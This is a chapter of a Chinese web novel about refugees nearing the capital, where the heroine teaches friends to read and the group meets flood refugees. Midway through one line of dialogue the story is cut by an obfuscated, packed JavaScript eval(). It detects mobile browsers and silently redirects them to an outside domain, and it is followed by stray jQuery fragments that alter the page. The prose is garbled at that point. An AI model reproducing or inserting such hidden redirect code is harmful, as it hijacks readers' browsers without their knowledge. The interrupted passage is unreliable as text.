22. 路过京城

作品:《逃荒后的幸福生活

    青天才染上一抹红光时,庙中已经有人醒来,在大家熟睡时,便穿好衣杉往后山上去了。


    昨天晚上经过商议,大家认为停留在这里总归是浪费时间,一致同意第二天继续赶路。


    唯独有些不舍得的就是山上的陷阱,于是陈三便提出第二天早起去看看,没想到还真的有收获。


    房宁醒来的时候,正是陈三等人从后山回来的时候,她一出门就看到一只野鸡和两只肥兔躺在地上,杜木生正告诉大家在哪个陷阱发现的。


    大家都很开心,“想不到临走了,还能带上几只野物!”


    小孩子更是兴奋,他们都知道又可以吃肉了。


    早饭已经煮好,大家吃完就能上路,这两只野兔和一只野鸡便就留着晚上再吃,冯山将它们的腿都绑住,随手扔进一个篓子里,找个人背着。


    其他人都已经准备就绪,房宁昨晚便将自己的背篓收拾好,草席放在板车上,然后便在外面等着李大民出来。


    冯山特意告诉装骡车的人,把粮食袋子摞得整齐些,这样李大民躺在上面,不至于因为骡车的一点颠簸,就歪歪斜斜地扯到伤处。


    柳枝拿来一床褥子,将它铺在粮食上,用胳膊将粮食压平,又从四个角上将褥子扯平,最后铺上一层旧布,这才请人把李大民抬出来。


    李大民就这么四仰八叉地被抬出来了。


    牛壮等人将他轻轻地放在骡车上,“咋样,这样躺着舒服吗?”


    “这样就很好,很舒服,麻烦你们了...”李大民感到不好意思。


    “害,都这样了,就别客气了,咱们大家都是兄弟!”


    柳枝给李大民将头发整理了一下,谢过几人,便把自家的几个孩子拉到跟前。李大民要在骡车上躺着,他们娘几个最好在身边,免得他有个什么需求,不好跟别人说。


    骡车和板车缓缓出发,房宁也跟着人群开始启动。


    自从林桂花得知房宁原来是个姐妹后,俩人的关系就更亲密了,“房宁,我原先就希望你是个女孩就好了,这样咱俩能天天一起说话。”


    “嗯,我也盼着和你们交朋友呢,整天听刘河吹牛,耳朵疼!”


    “那以后我们一起走!”


    “成!”


    俩人相视嘿嘿一笑。


    林桂花又道:“房宁,你能教我识字不?”


    “你想识字?”房宁有些惊讶,没想到林桂花是这么一个有上进心的女孩。


    “对啊,识字多好,出门不会被骗,还能被人高看一眼。识字后就能看懂书了,我听刘田哥说的,有些人不爱读圣贤书,就喜欢看话本子,我倒想知道那些话本子有多好看,比圣贤书还好看?”


    原来是想看小说啊...


    “也行,总比睁眼瞎强,你要是想识字,我以后教你就是。”


    “谢谢房宁,不过...识字难不?”


    “不难,你只要用心学,肯定能学会!我教你识字,你教我玩弹弓,咋样?”房宁可太想用弹弓猎野物了,不祈求次次都能打中,偶尔能抓到一只野兔或者野鸡也是好的!


    “没问题,玩弹弓就是要手稳,然后瞄准就行了,很简单的!”


    “......”


    女孩子的声音清脆响亮,从她俩身后路过的刘河想不听见都难,刘田打量着他的脸色,“怎么了,无精打采的?”


    刘河捏紧了拳头,“她们开始互相请教本领了。”


    刘田:“?”


    房宁想从林桂花这三个字开始教,当大家停下休息,她拿着树枝准备在地上示范的时候,突然发现自己不会写繁字体,顶着林桂花疑惑的目光,方宁腿脚飞快地找到了刘宽。


    “刘伯伯,我能不能借用一下千字文?”


    刘宽感到稀奇:“你现在要读书?”


    “嗯,我想再多认识一些字,反正现在也没事干,您放心,我会把书保管好的!”


    刘宽闻声起身,在一个樟木箱子底下找到千字文,赞赏地看着房宁,“不错,女子读书虽不能参加科考,但却能明白事理,将来养育子女便能更加有方法、有策略。你先拿着去看,有不懂的可以来找我,等看完再还回来就行,记得啊,好好保管。”


    书挺贵的。


    “知道了,多谢刘伯伯!”


    刘河突然插嘴道:“爹,我也要看。”


    刘宽嫌弃地看了儿子一眼,“看什么,早不看晚不看,人家要上进了你才看!”


    “我现在也要上进!”


    “晚了,你爹已经把书借出去了,你要想上进,就去和房宁一起学吧,她认的字比你多,你可以请教她。”刘宽随口一说。


    房宁友善地看着刘河,“桂花也正要识字呢,你们可以一起学。”


    刘河早就听到她俩叽叽咕咕地说要识字,没想到现在就要开始学了,刘河心里有些着急,心想如果自己再不学,岂不是连林桂花都比不过了?


    想到这里,刘河连忙说:“行,我们一起学!”


    刘宽瞪大了眼睛:我儿子真要上进了?


    房宁微笑,将人带到林桂花身边,“桂花,来了个新同学。”


    刘河面向林桂花,呲牙一乐,“桂花姐,又见面了。”


    林桂花笑容凝固:“...你也要学认字?”


    刘河认真地点头,“对啊,我最近也发现了,不识字确实有些麻烦,如果我识字的话,进城就没房宁的事儿了,所以,我只好跟着多学习了。”


    林桂花:“...行,但是你不能打扰我学习。”


    刘河不懂:“怎么叫打扰你学习?”


    林桂花:“我学习的时候你不能说话,不能跟别人打闹,不能惹是生非,还有,我说的话你要听。”


    “那不行...房宁带我学,我可以听她的,你又不带我学,我干嘛听你的?”


    林桂花叉腰,眼神威胁,“忘了叫我什么了?”


    “桂花姐啊。”


    “叫我姐就得听我的,愿赌服输!”


    刘河不情不愿地答应了。


    房宁:厉害...


    林桂花管得了刘河的嘴,却管不了他的心,得知林桂花一个字都不认识的时候,刘河在心里手舞足蹈:哈哈哈,我比她厉害,我还认识几个字呢!


    房宁花了三天的时间,终于让林桂花学会了认识和写出自己的名字。


    林桂花毕竟是零基础,学起来有些吃力,但是她学得很认真,也从来不会因为学得慢而感到焦躁,房宁很看好她。


    刘河已经会写自己的名字,房宁便教他新字。从刘宽的嘴里得知,刘河看书从来没有坚持过一刻钟。


    但不知道什么原因,这次他竟然出乎意外地认真,房宁教他识字,他便目不转睛地看,房宁示范书写,他便老老实实地比划。


    “奇了怪了,难道是我比较适合当老师?”房宁自我怀疑道。


    刘宽没事的时候就去偷看刘河,他找到周槐花,悄声道:“房宁这丫头就是聪慧!”


    周槐花回头快速地看了一眼房宁,也压低声音道:“怎么说?”


    刘宽:“你想想,以刘河和桂花的关系,刘河心里肯定对她不服气,让他俩一块学习,那咱儿子怎么会愿意再被桂花比下去,可不得使劲儿地学,嘿嘿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081841|179008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这不就促进他上进了嘛!”


    周槐花一想,“可不是嘛,你还省事儿了呢!”


    刘宽也这么觉得,“嗯,等有时间了,我教房宁读书,再让她教我儿子读书。”


    其他小姐妹知道林桂花学会写自己的名字后,也纷纷来找房宁,她们没想过认识多少字,能知道自己的名字怎么写就很好了。


    房宁很乐意教她们,而且因为这次教学,她练笔的机会也多了,掌握了很多繁体字的笔画。


    姑娘们都跟着房宁学,小子们除了刘河,都去找刘田请教了,这几天,每到休息的时候,大家就用树枝在地上练习认字。


    林桂花不满足于只学三个字,这哪够看话本子的,于是请求房宁多教几个字。


    她这边一张口,刘河那边立马跟着要求多学习,“房宁,洪荒这两个字我已经会写了,该学新的了!”说完有些得意地看了林桂花一眼,这俩字她还没学呢!


    林桂花目不斜视,心中暗道:幼稚!


    房宁没有搭理较劲的俩人,她此刻正望着远处那蜿蜒耸立的城墙,怔怔出神,原来这就是大梁国的京城。


    冯山:“前面就是京城,大家再坚持坚持!”


    大家的目光齐刷刷地投向前方,“我的娘欸,这京城这么大啊!”


    “你们看这城墙,比桥水县的高多了!”


    “那当然了,这可是京城,皇上就住里面,可不得把墙修高了,不然怎么挡住想杀他的人!”


    “这可不兴乱说,谁敢杀皇上?”


    “那就不知道了,肯定有人想自己当皇帝。”


    房宁听着大家说的话,觉得挺有意思的,不管哪个时代,老百姓都不是傻的。


    等来到距离城门三公里的地方,便看到路边躺着不少灾民,房宁心想:去广宁的灾民还真不少,还有比他们早到的。


    在那些灾民的前方,有不少士兵正在巡逻,刘田向前走了几步,便被刀剑拦住:“前方不许靠近!”


    冯山看到此景,拦住大家,不再前进,就地休息。


    古芝望着这些灾民,疑惑道:“看着不像庆阳人啊...”


    灾民见到冯山等人,全都好奇地打量起来,“你们这是打哪里来的?”一个瘦弱的黑脸男人问。


    冯山:“庆阳。”


    “庆阳?没听说过,也闹灾了?”


    “去年四月就不下雨了。”


    男人一听,“哎呦哎呦”地拍大腿,“你们那里不下雨,都下到我们福安来了啊!”


    福安?冯山没去过,但知道在南方,是个沿海府城。听男人说,福安五月发生了洪涝,将庄稼和房屋全淹了。


    两拨灾民,不同的灾情,相同的境遇,一下子就有了共同话题,话匣子打开了。


    “你们怎么来京城了?”刘宽打听道。


    “唉,官府的人让我们来的,说广宁有房子有地,所以就来了,这不路过京城了嘛,在这里等等救济的粮食。”


    “哦,那可有说去广宁哪里?”


    “没说,只说肯定会有地,别的等到了广宁会有人安排。”


    刘宽便没有再打听,看来他们没有去过济阳县。


    房宁找到一块平整的好地,将背篓放下,观察着从福安过来的灾民,他们看起来极其瘦弱,可以用瘦骨嶙峋来形容,精神面貌也不如自己人,一脸菜色,双眼无神,更需要注意的是,这些人都没什么家当。


    别说骡车了,几十个人连一辆小推车都没有,顶多在身上挂着一个带补丁的包袱。


    房宁找到冯山,小声问道:“山叔,我们是不是要小心点?”